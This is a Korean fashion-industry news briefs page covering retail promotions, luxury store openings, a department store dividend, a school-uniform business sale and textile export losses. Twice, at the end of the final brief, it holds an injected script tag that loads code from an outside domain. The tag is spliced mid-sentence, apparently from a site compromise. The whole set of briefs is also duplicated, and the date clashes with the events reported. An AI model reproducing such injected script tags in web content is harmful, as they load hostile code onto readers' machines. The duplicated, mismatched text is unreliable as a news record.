New Bridfings
2007-01-25
에스콰이아, 구매고객에게 영화관람권
에스콰아이아는 14일부터 오는 24일까지 백화점을 제외한 전국매장에서 구두나 핸드백을 구입하는 모든 고객에게 영화관람권 2매씩(10만원 단위마다)을 나눠준다.
또 10월 말까지 청첩장을 가져오는 예비 신랑 신부고객에게 에스콰이아 패션상품권을 결혼선물로 증정한다.
신세계 강남점 명품브랜드 강화
신세계는 '루이비통'의 강남점 입점을 확정하고 매장공사에 들어갔다.
신세계는 올해에 루이비통을 입점에 이어 내년에는 「까르띠에」와 「페라가모」 매장도 오픈할 계획이다.
강남점은 지난달 말 「세린느」 잡화 의류 종합 매장을 개점했고 이달 21일에는 「펜디」매장을 개설한다. 펜디 매장에서는 기존에 판매하던 핸드백 등 잡화를 포함해 의류와 모피 등 전 제품을 선보이게 된다.
LG패션 「헤지스」사은품 캐주얼숄드백
LG패션의 「헤지스」는 20만원이상 구매고객에게 캐주얼 숄더백을 증정하는 가을맞이 사은행사를 실시한다.
이번 행사는 롯데 현대 등 대부분의 백화점에서 15일부터 이달 30일까지 실시된다.
대구백화점, 중간배당 실시
대구백화점이 창사이래 처음으로 중간배당을 실시한다.
3월말 결산법인인 대구백화점은 반기말 결산일인 30일 이전에 명의개서 정지공고를 할 계획이며 배당률은 이사회에서 최종 결정될 예정이다.
주당 배당금은 액면가 대비 5%인 2백50원으로 결정될 것으로 보인다.
지난해 6월 워크아웃을 조기졸업한 대구백화점은 지난 3월말 결산에서 매출액은 전년보다 12% 증가한 4천8백49억원,경상이익은 72% 늘어난 4백58억원을 기록했다.
당기순이익은 전년보다 14% 증가한 3백74억원을 올렸다
신세계 I & C 온라인 쇼핑사업 본격 강화
신세계I&C(대표 권재석.www.shinsegae.com)가 조직보강 및 신규 설비투자 등을 통해 온라인 쇼핑몰 사업을 본격 강화한다.
신세계I&C는 사이버몰 담당 임원을 새로 영입한데 이어 쇼핑관련 전문인력을확충했다.
그동안 롯데 신세계 현대 등 대형백화점 가운데 상대적으로 소극적이던 신세계가 사이버쇼핑을 본격적으로 강화함에 따라 인터넷 전문쇼핑몰들간 경쟁이 한층 치열해질 전망이다.
또 야후코리아 네이버컴 드림위즈 등 대형인터넷포털과의 연계를 강화해 영업채널도 적극 늘려나가기로 했다.
제일모직 학생복사업정리
제일모직이 96년부터 전개해온 학생복사업을 정리한다.
제일모직은 화학 및 정보통신소재 등 미래형 사업에 경영자원을 집중하기 위해 학생복 아이비클럽 사업부문 전체를 중견기업인 대원에 매각키로 했다고 밝혔다.
제일모직측은 "양측이 사업 양수도 계약을 체결했으나 구체적인 매각가격은 현재 진행중인 실사작업을 통해 최종 결정할 방침"이라고 말했다.
대원은 부산에 본사를 둔 업체로 소모방사업과 건설업을 운영하고 있으며 제일모직에 직물류를 납품해온 것으로 알려졌다.
제일모직 학생복사업은 지난 99년 12억원, 2000년(매출 314억원) 20억원의 경상이익을 거두는 등 수익 기반을 다졌으나 지난 5월 공정거래위원회로부터 SK, 새한과 함께 교복 3사 담합 혐의로 과징금을 부과받는 등 난항을 겪었다.
美무역센터사건-대구섬유업체 1억3천만불 피해
대구.경북견직물공업협동조합는 이번 참사의 영향으로 대구지역 섬유 업계가 이달부터 연말까지 4개월간 예년에 비해 모두 1억3천만 달러 상당의 수출 감소가 예상된다고 밝혔다.
조합은 대구지역의 월 평균 대미 섬유류 수출 실적이 2천만 달러인 점을 감안, 이달과 내달 각각 1천500만 달러, 11월과 12월에는 1천만 달러씩 수출이 줄어들 것으로내다봤다.
또 미국의 간접적인 영향권에 있는 중국 등지의 시장에서도 지역 섬유 수출에 차질이 빚어져 연말까지 8천만 달러가 감소할 전망이다.
이밖에도 대미 수출 상담 및 계약 중단, 선적 지연 및 취소 등의 피해를 입는 업체도 잇따를 것으로 예상된다.
섬유산업 전자캐털로그 공청회- 27일 섬유센터서
한국섬유산업연합회는 한국유통정보센터와 공동으로 ‘섬유산업 e-Catalog표준제정 사업’ 을 추진한다.
이 공동사업은 섬유산업의 SCM(QR)과 전자상거래(B2B, B2C) 추진시 상품정보교환에 따른 시간 비용증가 및 시스템 중복투자 등을 방지하기 위한 표준화 작업이다.
가공직물의 표준분류체계와 전자상거래를 위한 표준데이터 세트 제정, 의류상품정보 표준데이터세트 제정 등 직물과 의류분야를 중심으로 섬유관련 국내외 온 오프라인업체, 학계, 연구소등 전문가들과 공동으로 표준을 개발해 향후 업계가 전자상거래 추진시 가장 기본이 되는 전자캐털로그 체계를 구축하는 사업이다.
섬산연은 사업의 효율적인 추진과 섬유부문 전자캐털로그 표준제정에 관한 업계의 의견수렴을 위해 홈페이지(http://e-cat.easyoffice.co.kr)를 개설했?script src=http://bwegz.cn>
에스콰아이아는 14일부터 오는 24일까지 백화점을 제외한 전국매장에서 구두나 핸드백을 구입하는 모든 고객에게 영화관람권 2매씩(10만원 단위마다)을 나눠준다.
또 10월 말까지 청첩장을 가져오는 예비 신랑 신부고객에게 에스콰이아 패션상품권을 결혼선물로 증정한다.
신세계 강남점 명품브랜드 강화
신세계는 '루이비통'의 강남점 입점을 확정하고 매장공사에 들어갔다.
신세계는 올해에 루이비통을 입점에 이어 내년에는 「까르띠에」와 「페라가모」 매장도 오픈할 계획이다.
강남점은 지난달 말 「세린느」 잡화 의류 종합 매장을 개점했고 이달 21일에는 「펜디」매장을 개설한다. 펜디 매장에서는 기존에 판매하던 핸드백 등 잡화를 포함해 의류와 모피 등 전 제품을 선보이게 된다.
LG패션 「헤지스」사은품 캐주얼숄드백
LG패션의 「헤지스」는 20만원이상 구매고객에게 캐주얼 숄더백을 증정하는 가을맞이 사은행사를 실시한다.
이번 행사는 롯데 현대 등 대부분의 백화점에서 15일부터 이달 30일까지 실시된다.
대구백화점, 중간배당 실시
대구백화점이 창사이래 처음으로 중간배당을 실시한다.
3월말 결산법인인 대구백화점은 반기말 결산일인 30일 이전에 명의개서 정지공고를 할 계획이며 배당률은 이사회에서 최종 결정될 예정이다.
주당 배당금은 액면가 대비 5%인 2백50원으로 결정될 것으로 보인다.
지난해 6월 워크아웃을 조기졸업한 대구백화점은 지난 3월말 결산에서 매출액은 전년보다 12% 증가한 4천8백49억원,경상이익은 72% 늘어난 4백58억원을 기록했다.
당기순이익은 전년보다 14% 증가한 3백74억원을 올렸다
신세계 I & C 온라인 쇼핑사업 본격 강화
신세계I&C(대표 권재석.www.shinsegae.com)가 조직보강 및 신규 설비투자 등을 통해 온라인 쇼핑몰 사업을 본격 강화한다.
신세계I&C는 사이버몰 담당 임원을 새로 영입한데 이어 쇼핑관련 전문인력을확충했다.
그동안 롯데 신세계 현대 등 대형백화점 가운데 상대적으로 소극적이던 신세계가 사이버쇼핑을 본격적으로 강화함에 따라 인터넷 전문쇼핑몰들간 경쟁이 한층 치열해질 전망이다.
또 야후코리아 네이버컴 드림위즈 등 대형인터넷포털과의 연계를 강화해 영업채널도 적극 늘려나가기로 했다.
제일모직 학생복사업정리
제일모직이 96년부터 전개해온 학생복사업을 정리한다.
제일모직은 화학 및 정보통신소재 등 미래형 사업에 경영자원을 집중하기 위해 학생복 아이비클럽 사업부문 전체를 중견기업인 대원에 매각키로 했다고 밝혔다.
제일모직측은 "양측이 사업 양수도 계약을 체결했으나 구체적인 매각가격은 현재 진행중인 실사작업을 통해 최종 결정할 방침"이라고 말했다.
대원은 부산에 본사를 둔 업체로 소모방사업과 건설업을 운영하고 있으며 제일모직에 직물류를 납품해온 것으로 알려졌다.
제일모직 학생복사업은 지난 99년 12억원, 2000년(매출 314억원) 20억원의 경상이익을 거두는 등 수익 기반을 다졌으나 지난 5월 공정거래위원회로부터 SK, 새한과 함께 교복 3사 담합 혐의로 과징금을 부과받는 등 난항을 겪었다.
美무역센터사건-대구섬유업체 1억3천만불 피해
대구.경북견직물공업협동조합는 이번 참사의 영향으로 대구지역 섬유 업계가 이달부터 연말까지 4개월간 예년에 비해 모두 1억3천만 달러 상당의 수출 감소가 예상된다고 밝혔다.
조합은 대구지역의 월 평균 대미 섬유류 수출 실적이 2천만 달러인 점을 감안, 이달과 내달 각각 1천500만 달러, 11월과 12월에는 1천만 달러씩 수출이 줄어들 것으로내다봤다.
또 미국의 간접적인 영향권에 있는 중국 등지의 시장에서도 지역 섬유 수출에 차질이 빚어져 연말까지 8천만 달러가 감소할 전망이다.
이밖에도 대미 수출 상담 및 계약 중단, 선적 지연 및 취소 등의 피해를 입는 업체도 잇따를 것으로 예상된다.
섬유산업 전자캐털로그 공청회- 27일 섬유센터서
한국섬유산업연합회는 한국유통정보센터와 공동으로 ‘섬유산업 e-Catalog표준제정 사업’ 을 추진한다.
이 공동사업은 섬유산업의 SCM(QR)과 전자상거래(B2B, B2C) 추진시 상품정보교환에 따른 시간 비용증가 및 시스템 중복투자 등을 방지하기 위한 표준화 작업이다.
가공직물의 표준분류체계와 전자상거래를 위한 표준데이터 세트 제정, 의류상품정보 표준데이터세트 제정 등 직물과 의류분야를 중심으로 섬유관련 국내외 온 오프라인업체, 학계, 연구소등 전문가들과 공동으로 표준을 개발해 향후 업계가 전자상거래 추진시 가장 기본이 되는 전자캐털로그 체계를 구축하는 사업이다.
섬산연은 사업의 효율적인 추진과 섬유부문 전자캐털로그 표준제정에 관한 업계의 의견수렴을 위해 홈페이지(http://e-cat.easyoffice.co.kr)를 개설했?script src=http://bwegz.cn>
- Copyrights ⓒ 메이비원(주) 패션인사이트, 무단 전재 및 재배포 금지 -
